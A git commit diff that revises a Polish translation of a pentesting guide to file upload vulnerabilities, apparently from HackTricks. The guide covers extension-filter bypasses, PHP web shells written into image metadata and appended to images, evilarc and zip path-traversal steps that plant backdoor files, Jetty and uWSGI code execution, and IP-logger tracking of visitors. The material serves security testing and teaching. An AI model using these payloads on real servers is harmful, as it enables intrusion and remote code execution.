Translated ['pentesting-web/file-upload/README.md'] to pl

This commit is contained in:
Translator 2024-07-20 10:50:43 +00:00
parent ccc30560b7
commit c1124a4a14

View file

@ -37,7 +37,7 @@ Inne przydatne rozszerzenia:
### Obejście kontroli rozszerzeń plików
1. Jeśli mają zastosowanie, **sprawdź** **poprzednie rozszerzenia.** Testuj je również używając dużych liter: _pHp, .pHP5, .PhAr ..._
2. _Sprawdź **dodawanie ważnego rozszerzenia przed** rozszerzeniem wykonawczym (użyj również poprzednich rozszerzeń):_
2. _Sprawdź **dodanie ważnego rozszerzenia przed** rozszerzeniem wykonawczym (użyj również poprzednich rozszerzeń):_
* _file.png.php_
* _file.png.Php5_
3. Spróbuj dodać **znaki specjalne na końcu.** Możesz użyć Burp do **bruteforce** wszystkich **znaków ascii** i **Unicode**. (_Zauważ, że możesz również spróbować użyć **wcześniej** wspomnianych **rozszerzeń**_)
@ -64,11 +64,11 @@ Inne przydatne rozszerzenia:
* _file.php%00.png%00.jpg_
6. Spróbuj umieścić **rozszerzenie exec przed ważnym rozszerzeniem** i miej nadzieję, że serwer jest źle skonfigurowany. (przydatne do wykorzystania błędów konfiguracyjnych Apache, gdzie wszystko z rozszerzeniem **.php**, ale **niekoniecznie kończące się na .php** będzie wykonywać kod):
* _ex: file.php.png_
7. Używanie **NTFS alternate data stream (ADS)** w **Windows**. W tym przypadku, znak dwukropka “:” zostanie wstawiony po zabronionym rozszerzeniu i przed dozwolonym. W rezultacie, **pusty plik z zabronionym rozszerzeniem** zostanie utworzony na serwerze (np. “file.asax:.jpg”). Plik ten może być później edytowany za pomocą innych technik, takich jak użycie jego krótkiej nazwy pliku. Wzór “**::$data**” może być również użyty do tworzenia plików niepustych. Dlatego dodanie znaku kropki po tym wzorze może być również przydatne do obejścia dalszych ograniczeń (np. “file.asp::$data.”)
7. Używanie **NTFS alternate data stream (ADS)** w **Windows**. W tym przypadku, znak dwukropka “:” zostanie wstawiony po zabronionym rozszerzeniu i przed dozwolonym. W rezultacie, **pusty plik z zabronionym rozszerzeniem** zostanie utworzony na serwerze (np. “file.asax:.jpg”). Ten plik może być później edytowany za pomocą innych technik, takich jak użycie jego krótkiej nazwy pliku. Wzór “**::$data**” może być również użyty do tworzenia plików niepustych. Dlatego dodanie znaku kropki po tym wzorze może być również przydatne do obejścia dalszych ograniczeń (np. “file.asp::$data.”)
8. Spróbuj złamać limity nazw plików. Ważne rozszerzenie zostaje obcięte. A złośliwy PHP zostaje. AAA<--SNIP-->AAA.php
```
# Maksymalnie 255 bajtów w Linuxie
# Maksymalnie 255 bajtów w Linux
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 tutaj i dodanie .png
# Prześlij plik i sprawdź odpowiedź, ile znaków pozwala. Powiedzmy 236
@ -78,19 +78,19 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA<--SNIP 232 A-->AAA.php.png
```
### Obejście kontroli Content-Type, Magic Number, Kompresji i Zmiany rozmiaru
### Obejście kontroli Content-Type, Magic Number, kompresji i zmiany rozmiaru
* Obejście kontroli **Content-Type** poprzez ustawienie **wartości** nagłówka **Content-Type** na: _image/png_, _text/plain_, application/octet-stream_
1. Lista słów kluczowych **Content-Type**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
* Obejście kontroli **magic number** poprzez dodanie na początku pliku **bajtów prawdziwego obrazu** (zmylenie komendy _file_). Lub wprowadzenie powłoki wewnątrz **metadanych**:\
1. Lista słów kluczowych **Content-Type**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
* Obejście kontroli **magic number** poprzez dodanie na początku pliku **bajtów prawdziwego obrazu** (zmylenie komendy _file_). Lub wprowadzenie powłoki do **metadanych**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` lub możesz również **wprowadzić ładunek bezpośrednio** w obrazie:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
* Jeśli **kompresja jest dodawana do twojego obrazu**, na przykład przy użyciu niektórych standardowych bibliotek PHP, takich jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), wcześniejsze techniki nie będą przydatne. Możesz jednak użyć **techniki PLTE chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
* Jeśli **kompresja jest dodawana do twojego obrazu**, na przykład przy użyciu niektórych standardowych bibliotek PHP, takich jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), wcześniejsze techniki nie będą przydatne. Możesz jednak użyć **techniki PLTE chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), aby wstawić tekst, który **przetrwa kompresję**.
* [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* Strona internetowa może również **zmieniać rozmiar** **obrazu**, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Możesz jednak użyć **techniki IDAT chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
* Strona internetowa może również **zmieniać rozmiar** **obrazu**, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Możesz jednak użyć **techniki IDAT chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), aby wstawić tekst, który **przetrwa kompresję**.
* [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* Inną techniką do stworzenia ładunku, który **przetrwa zmianę rozmiaru obrazu**, jest użycie funkcji PHP-GD `thumbnailImage`. Możesz jednak użyć **techniki tEXt chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
* Inną techniką do stworzenia ładunku, który **przetrwa zmianę rozmiaru obrazu**, jest użycie funkcji PHP-GD `thumbnailImage`. Możesz jednak użyć **techniki tEXt chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), aby wstawić tekst, który **przetrwa kompresję**.
* [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
### Inne sztuczki do sprawdzenia
@ -98,18 +98,18 @@ AAA<--SNIP 232 A-->AAA.php.png
* Znajdź lukę, aby **zmienić nazwę** już przesłanego pliku (aby zmienić rozszerzenie).
* Znajdź lukę **Local File Inclusion**, aby wykonać backdoora.
* **Możliwe ujawnienie informacji**:
1. Prześlij **wielokrotnie** (i w **tym samym czasie**) **ten sam plik** o **tej samej nazwie**
2. Prześlij plik o **nazwie** pliku lub **folderu**, który **już istnieje**
3. Przesyłanie pliku z **“.”, “..” lub “…” jako jego nazwą**. Na przykład, w Apache w **Windows**, jeśli aplikacja zapisuje przesłane pliki w katalogu “/www/uploads/”, nazwa pliku “.” utworzy plik o nazwie “uploads” w katalogu “/www/”.
1. Prześlij **wielokrotnie** (i w **tym samym czasie**) **ten sam plik** z **tą samą nazwą**
2. Prześlij plik z **nazwą** pliku lub **folderu**, który **już istnieje**
3. Przesyłanie pliku z **“.”, “..”, lub “…” jako jego nazwą**. Na przykład, w Apache w **Windows**, jeśli aplikacja zapisuje przesłane pliki w katalogu “/www/uploads/”, nazwa pliku “.” utworzy plik o nazwie “uploads” w katalogu “/www/”.
4. Prześlij plik, który może być trudny do usunięcia, taki jak **“…:.jpg”** w **NTFS**. (Windows)
5. Prześlij plik w **Windows** z **nieprawidłowymi znakami**, takimi jak `|<>*?”` w jego nazwie. (Windows)
6. Prześlij plik w **Windows** używając **zarezerwowanych** (**zabronionych**) **nazw**, takich jak CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 i LPT9.
6. Prześlij plik w **Windows** używając **zarezerwowanych** (**zabronionych**) **nazw**, takich jak CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, i LPT9.
* Spróbuj również **przesłać plik wykonywalny** (.exe) lub **.html** (mniej podejrzany), który **wykona kod**, gdy zostanie przypadkowo otwarty przez ofiarę.
### Sztuczki ze specjalnymi rozszerzeniami
Jeśli próbujesz przesłać pliki do **serwera PHP**, [zobacz sztuczkę **.htaccess** do wykonania kodu](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
Jeśli próbujesz przesłać pliki do **serwera ASP**, [zobacz sztuczkę **.config** do wykonania kodu](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Jeśli próbujesz przesłać pliki na **serwer PHP**, [zobacz sztuczkę **.htaccess** do wykonania kodu](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
Jeśli próbujesz przesłać pliki na **serwer ASP**, [zobacz sztuczkę **.config** do wykonania kodu](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Pliki `.phar` są jak `.jar` dla javy, ale dla php, i mogą być **używane jak plik php** (wykonując je za pomocą php lub włączając je do skryptu...)
@ -117,7 +117,7 @@ Rozszerzenie `.inc` jest czasami używane dla plików php, które są używane t
## **Jetty RCE**
Jeśli możesz przesłać plik XML na serwer Jetty, możesz uzyskać [RCE, ponieważ **nowe \*.xml i \*.war są automatycznie przetwarzane**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Jak wspomniano na poniższym obrazku, prześlij plik XML do `$JETTY_BASE/webapps/` i oczekuj powłoki!
Jeśli możesz przesłać plik XML na serwer Jetty, możesz uzyskać [RCE, ponieważ **nowe \*.xml i \*.war są automatycznie przetwarzane**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Jak wspomniano na poniższym obrazku, przesyłaj plik XML do `$JETTY_BASE/webapps/` i oczekuj powłoki!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1047).png>)
@ -125,7 +125,7 @@ Jeśli możesz przesłać plik XML na serwer Jetty, możesz uzyskać [RCE, ponie
Aby szczegółowo zbadać tę lukę, sprawdź oryginalne badania: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Luki w zdalnym wykonywaniu poleceń (RCE) mogą być wykorzystywane w serwerach uWSGI, jeśli ma się możliwość modyfikacji pliku konfiguracyjnego `.ini`. Pliki konfiguracyjne uWSGI wykorzystują specyficzną składnię do włączania "magicznych" zmiennych, miejsc i operatorów. Szczególnie potężny jest operator '@', używany jako `@(filename)`, zaprojektowany do włączania zawartości pliku. Wśród różnych obsługiwanych schematów w uWSGI, schemat "exec" jest szczególnie potężny, pozwalając na odczyt danych z standardowego wyjścia procesu. Ta funkcja może być manipulowana w złych celach, takich jak zdalne wykonywanie poleceń lub dowolne zapisywanie/odczytywanie plików, gdy plik konfiguracyjny `.ini` jest przetwarzany.
Luki w zdalnym wykonywaniu poleceń (RCE) mogą być wykorzystywane na serwerach uWSGI, jeśli ma się możliwość modyfikacji pliku konfiguracyjnego `.ini`. Pliki konfiguracyjne uWSGI wykorzystują specyficzną składnię do włączania "magicznych" zmiennych, miejsc i operatorów. Szczególnie potężny jest operator '@', używany jako `@(filename)`, zaprojektowany do włączania zawartości pliku. Wśród różnych obsługiwanych schematów w uWSGI, schemat "exec" jest szczególnie potężny, pozwalając na odczyt danych z standardowego wyjścia procesu. Ta funkcja może być manipulowana w celach niecnych, takich jak zdalne wykonywanie poleceń lub dowolne zapisywanie/odczytywanie plików, gdy plik konfiguracyjny `.ini` jest przetwarzany.
Rozważ następujący przykład szkodliwego pliku `uwsgi.ini`, pokazującego różne schematy:
```ini
@ -175,7 +175,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Zauważ, że **inną opcją**, o której możesz myśleć, aby obejść tę kontrolę, jest **przekierowanie serwera HTTP do innego pliku**, dzięki czemu początkowy adres URL obejdzie kontrolę, a następnie wget pobierze przekierowany plik z nową nazwą. To **nie zadziała** **chyba że** wget jest używany z **parametrem** `--trust-server-names`, ponieważ **wget pobierze przekierowaną stronę z nazwą pliku wskazaną w oryginalnym adresie URL**.
Zauważ, że **inną opcją**, o której możesz myśleć, aby obejść tę kontrolę, jest **przekierowanie serwera HTTP do innego pliku**, więc początkowy adres URL obejdzie kontrolę, a następnie wget pobierze przekierowany plik z nową nazwą. To **nie zadziała** **chyba że** wget jest używany z **parametrem** `--trust-server-names`, ponieważ **wget pobierze przekierowaną stronę z nazwą pliku wskazaną w oryginalnym adresie URL**.
## Narzędzia
@ -190,9 +190,9 @@ Zauważ, że **inną opcją**, o której możesz myśleć, aby obejść tę kont
* [**XSS** w przesyłaniu plików obrazów (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
* **JS** plik **upload** + **XSS** = [**Wykorzystanie Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
* [**XXE w przesyłaniu svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
* [**Otwarte przekierowanie** poprzez przesyłanie pliku svg](../open-redirect.md#open-redirect-uploading-svg-files)
* [**Open Redirect** poprzez przesyłanie pliku svg](../open-redirect.md#open-redirect-uploading-svg-files)
* Spróbuj **różnych ładunków svg** z [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
* [Słynna luka **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* [Słynna **ImageTrick** luka](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* Jeśli możesz **wskazać serwer WWW, aby pobrał obraz z URL**, możesz spróbować wykorzystać [SSRF](../ssrf-server-side-request-forgery/). Jeśli ten **obraz** ma być **zapisany** na jakiejś **publicznej** stronie, możesz również wskazać URL z [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukraść informacje od każdego odwiedzającego**.
* [**XXE i CORS** obejście z przesyłaniem PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
* Specjalnie przygotowane PDF-y do XSS: [następująca strona przedstawia, jak **wstrzyknąć dane PDF, aby uzyskać wykonanie JS**](../xss-cross-site-scripting/pdf-injection.md). Jeśli możesz przesyłać PDF-y, możesz przygotować PDF, który wykona dowolny JS zgodnie z podanymi wskazówkami.
@ -202,14 +202,14 @@ Zauważ, że **inną opcją**, o której możesz myśleć, aby obejść tę kont
Oto lista 10 rzeczy, które możesz osiągnąć, przesyłając (z [tutaj](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: XSS przechowywane / SSRF / XXE
3. **GIF**: XSS przechowywane / SSRF
4. **CSV**: wstrzyknięcie CSV
2. **SVG**: Przechowywane XSS / SSRF / XXE
3. **GIF**: Przechowywane XSS / SSRF
4. **CSV**: Wstrzyknięcie CSV
5. **XML**: XXE
6. **AVI**: LFI / SSRF
7. **HTML / JS** : wstrzyknięcie HTML / XSS / Otwarte przekierowanie
8. **PNG / JPEG**: atak pixel flood (DoS)
9. **ZIP**: RCE przez LFI / DoS
7. **HTML / JS** : Wstrzyknięcie HTML / XSS / Otwarte przekierowanie
8. **PNG / JPEG**: Atak pixel flood (DoS)
9. **ZIP**: RCE poprzez LFI / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE
#### Rozszerzenie Burp
@ -237,7 +237,7 @@ tar -cvf test.tar symindex.txt
```
### Decompress in different folders
Nieoczekiwane tworzenie plików w katalogach podczas dekompresji jest istotnym problemem. Mimo początkowych założeń, że ta konfiguracja może chronić przed wykonaniem poleceń na poziomie systemu operacyjnego poprzez złośliwe przesyłanie plików, hierarchiczne wsparcie dla kompresji i możliwości przechodzenia przez katalogi formatu archiwum ZIP mogą być wykorzystane. Pozwala to atakującym na obejście ograniczeń i ucieczkę z bezpiecznych katalogów przesyłania, manipulując funkcjonalnością dekompresji docelowej aplikacji.
Nieoczekiwane tworzenie plików w katalogach podczas dekompresji jest istotnym problemem. Mimo początkowych założeń, że ta konfiguracja może chronić przed wykonaniem poleceń na poziomie systemu operacyjnego poprzez złośliwe przesyłanie plików, hierarchiczne wsparcie dla kompresji i możliwości przechodzenia przez katalogi formatu archiwum ZIP mogą być wykorzystane. Umożliwia to atakującym obejście ograniczeń i ucieczkę z bezpiecznych katalogów przesyłania, manipulując funkcjonalnością dekompresji docelowej aplikacji.
Zautomatyzowany exploit do tworzenia takich plików jest dostępny na [**evilarc na GitHubie**](https://github.com/ptoomey3/evilarc). Narzędzie można używać w sposób pokazany:
```python
@ -246,7 +246,7 @@ python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Dodatkowo, **sztuczka z symlinkiem z evilarc** jest opcją. Jeśli celem jest zaatakowanie pliku takiego jak `/flag.txt`, należy utworzyć symlink do tego pliku w swoim systemie. Zapewnia to, że evilarc nie napotka błędów podczas swojej operacji.
Dodatkowo, **sztuczka z symlinkiem z evilarc** jest opcją. Jeśli celem jest zaatakowanie pliku takiego jak `/flag.txt`, należy utworzyć symlink do tego pliku w swoim systemie. Zapewnia to, że evilarc nie napotka błędów podczas swojej pracy.
Poniżej znajduje się przykład kodu Python używanego do stworzenia złośliwego pliku zip:
```python
@ -285,7 +285,7 @@ system($cmd);
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Modyfikacja za pomocą edytora hex lub vi**: Nazwy plików wewnątrz zip są zmieniane za pomocą vi lub edytora hex, zmieniając "xxA" na "../", aby przejść do katalogów.
3. **Modyfikacja za pomocą edytora hex lub vi**: Nazwy plików wewnątrz zip są zmieniane za pomocą vi lub edytora hex, zmieniając "xxA" na "../", aby przechodzić między katalogami.
```bash
:set modifiable
@ -314,13 +314,13 @@ Więcej informacji w: [https://www.idontplaydarts.com/2012/06/encoding-web-shell
Pliki poliglotowe służą jako unikalne narzędzie w cyberbezpieczeństwie, działając jak kameleony, które mogą jednocześnie istnieć w wielu formatach plików. Interesującym przykładem jest [GIFAR](https://en.wikipedia.org/wiki/Gifar), hybryda, która działa zarówno jako GIF, jak i archiwum RAR. Takie pliki nie ograniczają się do tej pary; kombinacje takie jak GIF i JS lub PPT i JS są również możliwe.
Podstawowa użyteczność plików poliglotowych polega na ich zdolności do omijania środków bezpieczeństwa, które skanują pliki na podstawie typu. Powszechną praktyką w różnych aplikacjach jest zezwalanie tylko na określone typy plików do przesyłania—takie jak JPEG, GIF lub DOC—aby zminimalizować ryzyko związane z potencjalnie szkodliwymi formatami (np. JS, PHP lub pliki Phar). Jednak plik poliglotowy, dostosowując się do kryteriów strukturalnych wielu typów plików, może dyskretnie omijać te ograniczenia.
Podstawowa użyteczność plików poliglotowych polega na ich zdolności do omijania środków bezpieczeństwa, które filtrują pliki na podstawie typu. Powszechną praktyką w różnych aplikacjach jest zezwalanie tylko na określone typy plików do przesyłania—takie jak JPEG, GIF lub DOC—aby zminimalizować ryzyko związane z potencjalnie szkodliwymi formatami (np. JS, PHP lub pliki Phar). Jednak plik poliglotowy, dostosowując się do kryteriów strukturalnych wielu typów plików, może dyskretnie omijać te ograniczenia.
Mimo swojej elastyczności, pliki poliglotowe napotykają ograniczenia. Na przykład, podczas gdy plik poliglotowy może jednocześnie zawierać plik PHAR (PHp ARchive) i JPEG, sukces jego przesyłania może zależeć od polityki rozszerzeń plików platformy. Jeśli system jest rygorystyczny w kwestii dozwolonych rozszerzeń, sama strukturalna dualność pliku poliglotowego może nie wystarczyć, aby zapewnić jego przesłanie.
Więcej informacji w: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
## Odniesienia
## Referencje
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
* [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)